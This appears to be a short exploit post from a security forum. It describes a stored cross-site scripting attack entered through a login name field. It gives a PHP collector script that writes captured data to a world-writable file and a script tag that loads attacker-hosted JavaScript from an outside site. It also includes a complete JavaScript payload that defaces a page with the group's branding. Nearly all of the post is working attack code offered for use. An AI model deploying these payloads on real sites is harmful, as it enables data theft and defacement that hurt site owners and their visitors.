Original Advisory: http://forum.aria-security.net/showthread.php?t=517

First we need a little php file in order to get and save our needed information + A txt file to save them there and chmod must be 777 in order to work
[code]
<?php
if ( $_GET['text'] ) {
$text = $_GET['text'];
$filename = "Aria-Security.txt";
$fp = fopen( $filename, "w" ) or die("Couldn't open $filename");
fwrite( $fp, "$text" );
fclose( $fp );
}
//--------------
$filename = "test.txt";
$fp = fopen( $filename, "r" ) or die("Couldn't open $filename");
while ( ! feof( $fp ) )
{
$line = fgets( $fp, 1024 );
print "$line<br>";
}
fclose($fp);
?>
[/code]

login as:
<script src=http://Yourwebsite.com/yourfile.js></script>

NOT RECOMENDED: Byt you can also just upload a "deface page", something like:


[code]
var title = "Aria-Security.Net";
var bgcolor = "#HEX";
var image_url = "http://ariahosting.ir/index.html";
var text = "The-0utl4w";
var font_color = "#HEX";

deface(title, bgcolor, image_url, text, font_color);
 
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
  document.title = pageTitle;
  document.body.innerHTML = '';
  document.bgColor = bgColor;
  var overLay = document.createElement("div");
  overLay.style.textAlign = 'center';
  document.body.appendChild(overLay);
  var txt = document.createElement("p");
  txt.style.font = 'normal normal bold 36px Verdana';
  txt.style.color = fontColor;
  txt.innerHTML = pageText;
  overLay.appendChild(txt);
 
  if (image_url != "") {
    var newImg = document.createElement("img");
    newImg.setAttribute("border", '0');
    newImg.setAttribute("src", imageUrl);
    overLay.appendChild(newImg);
  }

  var footer = document.createElement("p");
  footer.style.font = 'italic normal normal 12px Arial';
  footer.style.color = '#DDDDDD';
  footer.innerHTML = title;
  overLay.appendChild(footer);
}
[/code]
